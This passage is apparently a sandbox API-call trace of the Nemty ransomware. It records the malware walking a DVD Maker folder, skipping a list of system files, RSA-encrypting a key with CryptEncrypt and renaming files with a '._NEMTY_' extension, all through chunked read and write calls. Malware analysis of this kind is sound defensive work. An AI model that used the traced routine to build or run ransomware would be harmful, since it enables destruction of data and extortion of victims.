SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.752] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.774] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.774] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.774] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.786] CloseHandle (hObject=0xffffffff) returned 0 [0080.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0080.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0080.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0080.786] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0080.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0080.787] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0080.787] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png._nemty_kgobjgd_")) returned 0 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.787] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.787] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0080.787] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0080.788] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0080.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0080.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0080.789] Sleep (dwMilliseconds=0x5) [0080.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3cd35d0, dwHighDateTime=0x1d561e7)) [0080.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3cd35d0, dwHighDateTime=0x1d561e7)) [0080.790] GetLastError () returned 0x5 [0080.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.790] GetLastError () returned 0x5 [0080.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0080.790] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.790] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.791] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0080.791] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="IrPVSn4sDMJvR/TIVL4ht/oVA5fyYgWWypY+qLQbbUM7V6/hxM2I3vzEEbkrYLwF\r\nJUl7oizo+8NqDJyXt55EdJ7vGxjPcr1tVJDVJbSF+9s6G8MPJfYTcTm0t1fY6eDG\r\n1oJ7D0/tu6TzOMW7FZstJAbUcR95TAkss+nsTEtQSBkSGQjswGXLByANz88GB0B9\r\ndcTldfmCnHvSs2is/widQNAfD41ucaQsVEd8zOcRtqz+T53XctfvCuqPzmMXpHVi\r\noVMcQu4WQoX0qCZO6kEzi/DMolQu61pOBqHNeJslEJBUYInoP9vR6xXEAPeqpJC6\r\nV1zOISPX+5wZ1RHJecoZMA==\r\n", pcchString=0x653e91c) returned 1 [0080.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0080.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0080.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.791] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.791] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.889] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, 